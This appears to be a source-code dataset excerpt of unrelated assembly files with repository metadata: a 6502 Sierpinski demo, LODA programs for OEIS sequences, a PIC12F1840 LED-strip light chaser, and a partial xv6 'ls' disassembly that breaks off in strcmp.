db 0x86, 0xc0, 0x0c, 0xff, 0xff, 0xe8, 0x00, 0x01,
0xf0
db 0x8d, 0x60, 0x04, 0xe5, 0x29, 0x58, 0x00, 0x03,
0xb0
db 0x9a, 0xb0, 0x01, 0x8e, 0x73, 0x8c, 0x00, 0x07,
0x30
db 0x95, 0x50, 0x00, 0x84, 0x21, 0x08, 0x00, 0x0e,
0x30
db 0x9b, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e,
0x78
db 0x8e, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e,
0x78
db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
| 30.710784
| 53
| 0.614206
|
2d21905e60359ed95fd302e3e10a7178b1680533
| 214
|
asm
|
Assembly
|
hacks/images/m6502/sierpinski.asm
|
MBrassey/xscreensaver_BlueMatrix
|
2152a79ec08a676d940158735700087323d4a556
|
[
"CC0-1.0"
] | 2
|
2020-07-15T07:40:50.000Z
|
2020-09-01T05:51:36.000Z
|
hacks/images/m6502/sierpinski.asm
|
luc1dLife/xscreensaver_BlueMatrix
|
2152a79ec08a676d940158735700087323d4a556
|
[
"CC0-1.0"
] | null | null | null |
hacks/images/m6502/sierpinski.asm
|
luc1dLife/xscreensaver_BlueMatrix
|
2152a79ec08a676d940158735700087323d4a556
|
[
"CC0-1.0"
] | null | null | null |
; Sierpinski
; Submitted by Anonymous
start:
lda #$e1
sta $0
lda #$01
sta $1
ldy #$20
write:
ldx #$00
eor ($0, x)
sta ($0),y
inc $0
bne write
inc $1
ldx $1
cpx #$06
bne write
rts
| 8.56
| 24
| 0.53271
|
045cd8c4eb5bab423c6c6ea48403a529d8123d92
| 582
|
asm
|
Assembly
|
oeis/086/A086593.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/086/A086593.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/086/A086593.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A086593: Bisection of A086592, denominators of the left-hand half of Kepler's tree of fractions.
; Submitted by Christian Krause
; 2,3,4,5,5,7,7,8,6,9,10,11,9,12,11,13,7,11,13,14,13,17,15,18,11,16,17,19,14,19,18,21,8,13,16,17,17,22,19,23,16,23,24,27,19,26,25,29,13,20,23,25,22,29,26,31,17,25,27,30,23,31,29,34,9,15,19,20,21,27,23,28,21,30,31,35,24,33,32,37,19,29,33,36,31,41,37,44,23,34,37,41,32,43,40,47,15,24,29,31
mul $0,2
mov $2,2
lpb $0
div $0,2
sub $2,$3
add $3,$0
mod $3,2
mov $4,$2
add $2,$1
mul $3,$4
add $1,$3
sub $3,2
lpe
mov $0,$2
div $0,2
add $0,1
| 27.714286
| 287
| 0.630584
|
81303398a917742adf712c060e0531d0d9d6d5ac
| 334
|
asm
|
Assembly
|
programs/oeis/139/A139591.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/139/A139591.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/139/A139591.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A139591: A139275(n) followed by 18-gonal number A051870(n+1).
; 0,1,9,18,34,51,75,100,132,165,205,246,294,343,399,456,520,585,657,730,810,891,979,1068,1164,1261,1365,1470,1582,1695,1815,1936,2064,2193,2329,2466,2610,2755,2907,3060,3220,3381,3549,3718,3894
mov $1,$0
add $0,1
bin $0,2
pow $1,2
div $1,2
mul $1,3
add $1,$0
mov $0,$1
| 27.833333
| 193
| 0.700599
|
583da0ccacbba19cdd8cbeda05f6662fd869ea2d
| 4,660
|
asm
|
Assembly
|
lightchaser/lightchaser.asm
|
mdennehy/PIC12F
|
87e27a9735c299b00a0f97df48c611c713008de5
|
[
"MIT"
] | null | null | null |
lightchaser/lightchaser.asm
|
mdennehy/PIC12F
|
87e27a9735c299b00a0f97df48c611c713008de5
|
[
"MIT"
] | null | null | null |
lightchaser/lightchaser.asm
|
mdennehy/PIC12F
|
87e27a9735c299b00a0f97df48c611c713008de5
|
[
"MIT"
] | null | null | null |
list p=p12f1840
include <p12f1840.inc>
__CONFIG _CONFIG1, _FOSC_INTOSC & _MCLRE_OFF & _WDTE_OFF
__CONFIG _CONFIG2, _LVP_OFF
org 0
;;; Set internal oscillator to 32 MHz
movlw 0xF0 ; store OSCCON value (=1111 0000=) in W
movlb 0x01 ; Select page bank 1
movwf 0x19 ; move value of W to register at OSCCON (address 0x19)
;;; Define pin 5 (RA2) as output
BANKSEL PORTA ; select bank 0 (PORTA)
CLRF PORTA ; clear PORTA
BANKSEL LATA ; select bank 2 (LATA)
CLRF LATA ; clear LATA
BANKSEL ANSELA ; select bank 3 (ANSELA)
CLRF ANSELA ; clear ANSELA
BANKSEL TRISA ; select bank 1 (TRISA)
BCF TRISA, 2 ; define RA2 as an output port (clear TRISA bit 2)
BANKSEL T2CON
CLRF T2CON ; Timer2 off, prescale 1:1, postscaler not used in PWM
MOVLW 0x09
MOVWF PR2 ; Set PWM period to 1.25us
BANKSEL CCPR1L
MOVLW 0x05
MOVWF CCPR1L ; Set PWM duty cycle to 50%
CLRF CCP1CON
MOVLW 0x0C
MOVWF CCP1CON ; Set up for PWM on pin 5
BANKSEL T2CON
BSF T2CON, 2 ; Timer2 on
BANKSEL CCPR1L
; hack - write a slightly different 24bit value 16 different times, pause,
; redo from start
CONSTANT PIXEL=0x2F0
CONSTANT RED=0x2F1
CONSTANT BLUE=0x2F2
CONSTANT GREEN=0x2F3
movlw 0x00
movwf RED
movwf BLUE
movwf GREEN
PixelLoopSetup
BANKSEL CCPR1L
movlw 0x0F
movwf PIXEL
PixelLoop
BANKSEL CCPR1L
decfsz PIXEL,1
bra $+2
goto Latch
; send bits
BANKSEL CCPR1L
btfsc GREEN,7
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,7
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,6
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,6
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,5
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,5
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,4
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,4
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,3
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,3
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,2
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,2
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,1
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,1
CALL SendZero
BANKSEL CCPR1L
btfsc GREEN,0
CALL SendOne
BANKSEL CCPR1L
btfss GREEN,0
CALL SendZero
BANKSEL CCPR1L
btfsc RED,7
CALL SendOne
BANKSEL CCPR1L
btfss RED,7
CALL SendZero
BANKSEL CCPR1L
btfsc RED,6
CALL SendOne
BANKSEL CCPR1L
btfss RED,6
CALL SendZero
BANKSEL CCPR1L
btfsc RED,5
CALL SendOne
BANKSEL CCPR1L
btfss RED,5
CALL SendZero
BANKSEL CCPR1L
btfsc RED,4
CALL SendOne
BANKSEL CCPR1L
btfss RED,4
CALL SendZero
BANKSEL CCPR1L
btfsc RED,3
CALL SendOne
BANKSEL CCPR1L
btfss RED,3
CALL SendZero
BANKSEL CCPR1L
btfsc RED,2
CALL SendOne
BANKSEL CCPR1L
btfss RED,2
CALL SendZero
BANKSEL CCPR1L
btfsc RED,1
CALL SendOne
BANKSEL CCPR1L
btfss RED,1
CALL SendZero
BANKSEL CCPR1L
btfsc RED,0
CALL SendOne
BANKSEL CCPR1L
btfss RED,0
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,7
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,7
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,6
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,6
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,5
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,5
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,4
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,4
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,3
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,3
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,2
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,2
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,1
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,1
CALL SendZero
BANKSEL CCPR1L
btfsc BLUE,0
CALL SendOne
BANKSEL CCPR1L
btfss BLUE,0
CALL SendZero
BANKSEL CCPR1L
incf RED,1
btfsc RED,5
clrf RED
incf GREEN,1
btfsc GREEN,5
clrf GREEN
incf BLUE,1
btfsc BLUE,5
clrf BLUE
goto PixelLoop
SendOne
BANKSEL CCPR1L
MOVLW 0x08
MOVWF CCPR1L
BCF CCP1CON, 4
BCF CCP1CON, 5
BANKSEL PIR1
BTFSS PIR1,1
BRA $-1
RETURN
SendZero
BANKSEL CCPR1L
MOVLW 0x02
MOVWF CCPR1L
BSF CCP1CON, 4
BSF CCP1CON, 5
BANKSEL PIR1
BTFSS PIR1,1
BRA $-1
RETURN
Latch
; Set to 100% low
BANKSEL CCPR1L
MOVLW 0x00
MOVWF CCPR1L
BCF CCP1CON,4
BCF CCP1CON,5
Delay
; Delay for 15us / 1/2sec
movlw 0x20
movwf 0x2F5
movlw 0xC7 ; 0xC7 = 199
movwf 0x2F6 ; set 0x30 to 199
movwf 0x2F7 ; set 0x31 to 199
decfsz 0x2F7, 1 ; decrement 0x30
bra $-1 ; if 0x31 != 0 go back 1 instruction
decfsz 0x2F6, 1 ; decrement 0x31
bra $-4 ; if 0x30 != 0 go back 4 instruction
decfsz 0x2F5, 1
bra $-7
goto PixelLoopSetup
END
| 17.132353
| 76
| 0.700644
|
d88a1fd7dd8db03bea911d0f105531dc5de81603
| 333
|
asm
|
Assembly
|
programs/oeis/047/A047620.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/047/A047620.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/047/A047620.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A047620: Numbers that are congruent to {0, 1, 2, 5} mod 8.
; 0,1,2,5,8,9,10,13,16,17,18,21,24,25,26,29,32,33,34,37,40,41,42,45,48,49,50,53,56,57,58,61,64,65,66,69,72,73,74,77,80,81,82,85,88,89,90,93,96,97,98,101,104,105,106,109,112,113,114,117,120,121,122
seq $0,47546 ; Numbers that are congruent to {2, 3, 4, 7} mod 8.
sub $0,2
| 55.5
| 196
| 0.657658
|
a3d035093deb6eb75a69b7f5fbe313e17c9832b2
| 176
|
asm
|
Assembly
|
libsrc/target/kramermc/stdio/getk.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/target/kramermc/stdio/getk.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/target/kramermc/stdio/getk.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
PUBLIC getk
PUBLIC _getk
EXTERN fgetc_cons
INCLUDE "target/kramermc/def/kramermc.def"
getk:
_getk:
call $0169 ;ZYKL
ld hl,0
ret z
jp fgetc_cons
| 11
| 43
| 0.738636
|
edbe401bd4823a17662548efcb49eac503495ed1
| 53,460
|
asm
|
Assembly
|
xv6/ls.asm
|
suriya-1403/suriya-s-XV6
|
20b673c3be1f83f7b3c8bf1de0ef6a77564bcb24
|
[
"MIT"
] | 2
|
2022-01-11T20:12:26.000Z
|
2022-01-17T19:55:04.000Z
|
xv6/ls.asm
|
Aravinda214/XV6
|
20b673c3be1f83f7b3c8bf1de0ef6a77564bcb24
|
[
"MIT"
] | null | null | null |
xv6/ls.asm
|
Aravinda214/XV6
|
20b673c3be1f83f7b3c8bf1de0ef6a77564bcb24
|
[
"MIT"
] | 1
|
2021-08-20T21:44:41.000Z
|
2021-08-20T21:44:41.000Z
|
_ls: file format elf32-i386
Disassembly of section .text:
00000000 <fmtname>:
#include "user.h"
#include "fs.h"
char*
fmtname(char *path)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 53 push %ebx
4: 83 ec 14 sub $0x14,%esp
static char buf[DIRSIZ+1];
char *p;
// Find first character after last slash.
for(p=path+strlen(path); p >= path && *p != '/'; p--)
7: 83 ec 0c sub $0xc,%esp
a: ff 75 08 push 0x8(%ebp)
d: e8 c5 03 00 00 call 3d7 <strlen>
12: 83 c4 10 add $0x10,%esp
15: 8b 55 08 mov 0x8(%ebp),%edx
18: 01 d0 add %edx,%eax
1a: 89 45 f4 mov %eax,-0xc(%ebp)
1d: eb 04 jmp 23 <fmtname+0x23>
1f: 83 6d f4 01 subl $0x1,-0xc(%ebp)
23: 8b 45 f4 mov -0xc(%ebp),%eax
26: 3b 45 08 cmp 0x8(%ebp),%eax
29: 72 0a jb 35 <fmtname+0x35>
2b: 8b 45 f4 mov -0xc(%ebp),%eax
2e: 0f b6 00 movzbl (%eax),%eax
31: 3c 2f cmp $0x2f,%al
33: 75 ea jne 1f <fmtname+0x1f>
;
p++;
35: 83 45 f4 01 addl $0x1,-0xc(%ebp)
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
39: 83 ec 0c sub $0xc,%esp
3c: ff 75 f4 push -0xc(%ebp)
3f: e8 93 03 00 00 call 3d7 <strlen>
44: 83 c4 10 add $0x10,%esp
47: 83 f8 0d cmp $0xd,%eax
4a: 76 05 jbe 51 <fmtname+0x51>
return p;
4c: 8b 45 f4 mov -0xc(%ebp),%eax
4f: eb 60 jmp b1 <fmtname+0xb1>
memmove(buf, p, strlen(p));
51: 83 ec 0c sub $0xc,%esp
54: ff 75 f4 push -0xc(%ebp)
57: e8 7b 03 00 00 call 3d7 <strlen>
5c: 83 c4 10 add $0x10,%esp
5f: 83 ec 04 sub $0x4,%esp
62: 50 push %eax
63: ff 75 f4 push -0xc(%ebp)
66: 68 8c 0b 00 00 push $0xb8c
6b: e8 e4 04 00 00 call 554 <memmove>
70: 83 c4 10 add $0x10,%esp
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
73: 83 ec 0c sub $0xc,%esp
76: ff 75 f4 push -0xc(%ebp)
79: e8 59 03 00 00 call 3d7 <strlen>
7e: 83 c4 10 add $0x10,%esp
81: ba 0e 00 00 00 mov $0xe,%edx
86: 89 d3 mov %edx,%ebx
88: 29 c3 sub %eax,%ebx
8a: 83 ec 0c sub $0xc,%esp
8d: ff 75 f4 push -0xc(%ebp)
90: e8 42 03 00 00 call 3d7 <strlen>
95: 83 c4 10 add $0x10,%esp
98: 05 8c 0b 00 00 add $0xb8c,%eax
9d: 83 ec 04 sub $0x4,%esp
a0: 53 push %ebx
a1: 6a 20 push $0x20
a3: 50 push %eax
a4: e8 55 03 00 00 call 3fe <memset>
a9: 83 c4 10 add $0x10,%esp
return buf;
ac: b8 8c 0b 00 00 mov $0xb8c,%eax
}
b1: 8b 5d fc mov -0x4(%ebp),%ebx
b4: c9 leave
b5: c3 ret
000000b6 <ls>:
void
ls(char *path)
{
b6: 55 push %ebp
b7: 89 e5 mov %esp,%ebp
b9: 57 push %edi
ba: 56 push %esi
bb: 53 push %ebx
bc: 81 ec 3c 02 00 00 sub $0x23c,%esp
// char buffer[100];
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
c2: 83 ec 08 sub $0x8,%esp
c5: 6a 00 push $0x0
c7: ff 75 08 push 0x8(%ebp)
ca: e8 3a 05 00 00 call 609 <open>
cf: 83 c4 10 add $0x10,%esp
d2: 89 45 e4 mov %eax,-0x1c(%ebp)
d5: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
d9: 79 1a jns f5 <ls+0x3f>
printf(2, "ls: cannot open %s\n", path);
db: 83 ec 04 sub $0x4,%esp
de: ff 75 08 push 0x8(%ebp)
e1: 68 24 0b 00 00 push $0xb24
e6: 6a 02 push $0x2
e8: e8 80 06 00 00 call 76d <printf>
ed: 83 c4 10 add $0x10,%esp
return;
f0: e9 e1 01 00 00 jmp 2d6 <ls+0x220>
}
if(fstat(fd, &st) < 0){
f5: 83 ec 08 sub $0x8,%esp
f8: 8d 85 bc fd ff ff lea -0x244(%ebp),%eax
fe: 50 push %eax
ff: ff 75 e4 push -0x1c(%ebp)
102: e8 1a 05 00 00 call 621 <fstat>
107: 83 c4 10 add $0x10,%esp
10a: 85 c0 test %eax,%eax
10c: 79 28 jns 136 <ls+0x80>
printf(2, "ls: cannot stat %s\n", path);
10e: 83 ec 04 sub $0x4,%esp
111: ff 75 08 push 0x8(%ebp)
114: 68 38 0b 00 00 push $0xb38
119: 6a 02 push $0x2
11b: e8 4d 06 00 00 call 76d <printf>
120: 83 c4 10 add $0x10,%esp
close(fd);
123: 83 ec 0c sub $0xc,%esp
126: ff 75 e4 push -0x1c(%ebp)
129: e8 c3 04 00 00 call 5f1 <close>
12e: 83 c4 10 add $0x10,%esp
return;
131: e9 a0 01 00 00 jmp 2d6 <ls+0x220>
}
switch(st.type){
136: 0f b7 85 bc fd ff ff movzwl -0x244(%ebp),%eax
13d: 98 cwtl
13e: 83 f8 01 cmp $0x1,%eax
141: 74 48 je 18b <ls+0xd5>
143: 83 f8 02 cmp $0x2,%eax
146: 0f 85 7c 01 00 00 jne 2c8 <ls+0x212>
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
14c: 8b bd cc fd ff ff mov -0x234(%ebp),%edi
152: 8b b5 c4 fd ff ff mov -0x23c(%ebp),%esi
158: 0f b7 85 bc fd ff ff movzwl -0x244(%ebp),%eax
15f: 0f bf d8 movswl %ax,%ebx
162: 83 ec 0c sub $0xc,%esp
165: ff 75 08 push 0x8(%ebp)
168: e8 93 fe ff ff call 0 <fmtname>
16d: 83 c4 10 add $0x10,%esp
170: 83 ec 08 sub $0x8,%esp
173: 57 push %edi
174: 56 push %esi
175: 53 push %ebx
176: 50 push %eax
177: 68 4c 0b 00 00 push $0xb4c
17c: 6a 01 push $0x1
17e: e8 ea 05 00 00 call 76d <printf>
183: 83 c4 20 add $0x20,%esp
break;
186: e9 3d 01 00 00 jmp 2c8 <ls+0x212>
// }
// goto symdir;
case T_DIR:
// symdir:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
18b: 83 ec 0c sub $0xc,%esp
18e: ff 75 08 push 0x8(%ebp)
191: e8 41 02 00 00 call 3d7 <strlen>
196: 83 c4 10 add $0x10,%esp
199: 83 c0 10 add $0x10,%eax
19c: 3d 00 02 00 00 cmp $0x200,%eax
1a1: 76 17 jbe 1ba <ls+0x104>
printf(1, "ls: path too long\n");
1a3: 83 ec 08 sub $0x8,%esp
1a6: 68 59 0b 00 00 push $0xb59
1ab: 6a 01 push $0x1
1ad: e8 bb 05 00 00 call 76d <printf>
1b2: 83 c4 10 add $0x10,%esp
break;
1b5: e9 0e 01 00 00 jmp 2c8 <ls+0x212>
}
strcpy(buf, path);
1ba: 83 ec 08 sub $0x8,%esp
1bd: ff 75 08 push 0x8(%ebp)
1c0: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax
1c6: 50 push %eax
1c7: e8 9c 01 00 00 call 368 <strcpy>
1cc: 83 c4 10 add $0x10,%esp
p = buf+strlen(buf);
1cf: 83 ec 0c sub $0xc,%esp
1d2: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax
1d8: 50 push %eax
1d9: e8 f9 01 00 00 call 3d7 <strlen>
1de: 83 c4 10 add $0x10,%esp
1e1: 8d 95 e0 fd ff ff lea -0x220(%ebp),%edx
1e7: 01 d0 add %edx,%eax
1e9: 89 45 e0 mov %eax,-0x20(%ebp)
*p++ = '/';
1ec: 8b 45 e0 mov -0x20(%ebp),%eax
1ef: 8d 50 01 lea 0x1(%eax),%edx
1f2: 89 55 e0 mov %edx,-0x20(%ebp)
1f5: c6 00 2f movb $0x2f,(%eax)
while(read(fd, &de, sizeof(de)) == sizeof(de)){
1f8: e9 aa 00 00 00 jmp 2a7 <ls+0x1f1>
if(de.inum == 0)
1fd: 0f b7 85 d0 fd ff ff movzwl -0x230(%ebp),%eax
204: 66 85 c0 test %ax,%ax
207: 75 05 jne 20e <ls+0x158>
continue;
209: e9 99 00 00 00 jmp 2a7 <ls+0x1f1>
memmove(p, de.name, DIRSIZ);
20e: 83 ec 04 sub $0x4,%esp
211: 6a 0e push $0xe
213: 8d 85 d0 fd ff ff lea -0x230(%ebp),%eax
219: 83 c0 02 add $0x2,%eax
21c: 50 push %eax
21d: ff 75 e0 push -0x20(%ebp)
220: e8 2f 03 00 00 call 554 <memmove>
225: 83 c4 10 add $0x10,%esp
p[DIRSIZ] = 0;
228: 8b 45 e0 mov -0x20(%ebp),%eax
22b: 83 c0 0e add $0xe,%eax
22e: c6 00 00 movb $0x0,(%eax)
if(stat(buf, &st) < 0){
231: 83 ec 08 sub $0x8,%esp
234: 8d 85 bc fd ff ff lea -0x244(%ebp),%eax
23a: 50 push %eax
23b: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax
241: 50 push %eax
242: e8 73 02 00 00 call 4ba <stat>
247: 83 c4 10 add $0x10,%esp
24a: 85 c0 test %eax,%eax
24c: 79 1b jns 269 <ls+0x1b3>
printf(1, "ls: cannot stat %s\n", buf);
24e: 83 ec 04 sub $0x4,%esp
251: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax
257: 50 push %eax
258: 68 38 0b 00 00 push $0xb38
25d: 6a 01 push $0x1
25f: e8 09 05 00 00 call 76d <printf>
264: 83 c4 10 add $0x10,%esp
continue;
267: eb 3e jmp 2a7 <ls+0x1f1>
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
269: 8b bd cc fd ff ff mov -0x234(%ebp),%edi
26f: 8b b5 c4 fd ff ff mov -0x23c(%ebp),%esi
275: 0f b7 85 bc fd ff ff movzwl -0x244(%ebp),%eax
27c: 0f bf d8 movswl %ax,%ebx
27f: 83 ec 0c sub $0xc,%esp
282: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax
288: 50 push %eax
289: e8 72 fd ff ff call 0 <fmtname>
28e: 83 c4 10 add $0x10,%esp
291: 83 ec 08 sub $0x8,%esp
294: 57 push %edi
295: 56 push %esi
296: 53 push %ebx
297: 50 push %eax
298: 68 4c 0b 00 00 push $0xb4c
29d: 6a 01 push $0x1
29f: e8 c9 04 00 00 call 76d <printf>
2a4: 83 c4 20 add $0x20,%esp
while(read(fd, &de, sizeof(de)) == sizeof(de)){
2a7: 83 ec 04 sub $0x4,%esp
2aa: 6a 10 push $0x10
2ac: 8d 85 d0 fd ff ff lea -0x230(%ebp),%eax
2b2: 50 push %eax
2b3: ff 75 e4 push -0x1c(%ebp)
2b6: e8 26 03 00 00 call 5e1 <read>
2bb: 83 c4 10 add $0x10,%esp
2be: 83 f8 10 cmp $0x10,%eax
2c1: 0f 84 36 ff ff ff je 1fd <ls+0x147>
}
break;
2c7: 90 nop
}
close(fd);
2c8: 83 ec 0c sub $0xc,%esp
2cb: ff 75 e4 push -0x1c(%ebp)
2ce: e8 1e 03 00 00 call 5f1 <close>
2d3: 83 c4 10 add $0x10,%esp
}
2d6: 8d 65 f4 lea -0xc(%ebp),%esp
2d9: 5b pop %ebx
2da: 5e pop %esi
2db: 5f pop %edi
2dc: 5d pop %ebp
2dd: c3 ret
000002de <main>:
int
main(int argc, char *argv[])
{
2de: 8d 4c 24 04 lea 0x4(%esp),%ecx
2e2: 83 e4 f0 and $0xfffffff0,%esp
2e5: ff 71 fc push -0x4(%ecx)
2e8: 55 push %ebp
2e9: 89 e5 mov %esp,%ebp
2eb: 53 push %ebx
2ec: 51 push %ecx
2ed: 83 ec 10 sub $0x10,%esp
2f0: 89 cb mov %ecx,%ebx
int i;
if(argc < 2){
2f2: 83 3b 01 cmpl $0x1,(%ebx)
2f5: 7f 15 jg 30c <main+0x2e>
ls(".");
2f7: 83 ec 0c sub $0xc,%esp
2fa: 68 6c 0b 00 00 push $0xb6c
2ff: e8 b2 fd ff ff call b6 <ls>
304: 83 c4 10 add $0x10,%esp
exit();
307: e8 bd 02 00 00 call 5c9 <exit>
}
for(i=1; i<argc; i++)
30c: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
313: eb 21 jmp 336 <main+0x58>
ls(argv[i]);
315: 8b 45 f4 mov -0xc(%ebp),%eax
318: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
31f: 8b 43 04 mov 0x4(%ebx),%eax
322: 01 d0 add %edx,%eax
324: 8b 00 mov (%eax),%eax
326: 83 ec 0c sub $0xc,%esp
329: 50 push %eax
32a: e8 87 fd ff ff call b6 <ls>
32f: 83 c4 10 add $0x10,%esp
for(i=1; i<argc; i++)
332: 83 45 f4 01 addl $0x1,-0xc(%ebp)
336: 8b 45 f4 mov -0xc(%ebp),%eax
339: 3b 03 cmp (%ebx),%eax
33b: 7c d8 jl 315 <main+0x37>
exit();
33d: e8 87 02 00 00 call 5c9 <exit>
00000342 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
342: 55 push %ebp
343: 89 e5 mov %esp,%ebp
345: 57 push %edi
346: 53 push %ebx
asm volatile("cld; rep stosb" :
347: 8b 4d 08 mov 0x8(%ebp),%ecx
34a: 8b 55 10 mov 0x10(%ebp),%edx
34d: 8b 45 0c mov 0xc(%ebp),%eax
350: 89 cb mov %ecx,%ebx
352: 89 df mov %ebx,%edi
354: 89 d1 mov %edx,%ecx
356: fc cld
357: f3 aa rep stos %al,%es:(%edi)
359: 89 ca mov %ecx,%edx
35b: 89 fb mov %edi,%ebx
35d: 89 5d 08 mov %ebx,0x8(%ebp)
360: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
363: 90 nop
364: 5b pop %ebx
365: 5f pop %edi
366: 5d pop %ebp
367: c3 ret
00000368 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
368: 55 push %ebp
369: 89 e5 mov %esp,%ebp
36b: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
36e: 8b 45 08 mov 0x8(%ebp),%eax
371: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
374: 90 nop
375: 8b 55 0c mov 0xc(%ebp),%edx
378: 8d 42 01 lea 0x1(%edx),%eax
37b: 89 45 0c mov %eax,0xc(%ebp)
37e: 8b 45 08 mov 0x8(%ebp),%eax
381: 8d 48 01 lea 0x1(%eax),%ecx
384: 89 4d 08 mov %ecx,0x8(%ebp)
387: 0f b6 12 movzbl (%edx),%edx
38a: 88 10 mov %dl,(%eax)
38c: 0f b6 00 movzbl (%eax),%eax
38f: 84 c0 test %al,%al
391: 75 e2 jne 375 <strcpy+0xd>
;
return os;
393: 8b 45 fc mov -0x4(%ebp),%eax
}
396: c9 leave
397: c3 ret
00000398 <strcmp>:
int
strcmp(const char *p, const char *q)
{
398: 55 push %ebp
399: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
39b: eb 08 jmp 3a5 <strcmp+0xd>
p++, q++;
39d: 83 45 08 01 addl $0x1,0x8(%ebp)
3a1: 83 45 0c 01 addl $0x1,0xc(%ebp)
while(*p && *p == *q)
3a5: 8b 45 08 mov 0x8(%ebp),%eax
3a8: 0f b6 00 movzbl (%eax),%eax
3ab: 84 c0 test %al,%al
3ad: 74 10 je 3bf <strcmp+0x27>
3af: 8b 45 08 mov 0x8(%ebp),%eax
3b2: 0f b6 10 movzbl (%eax),%edx
3b5: 8b 45 0c mov 0xc(%ebp),%eax
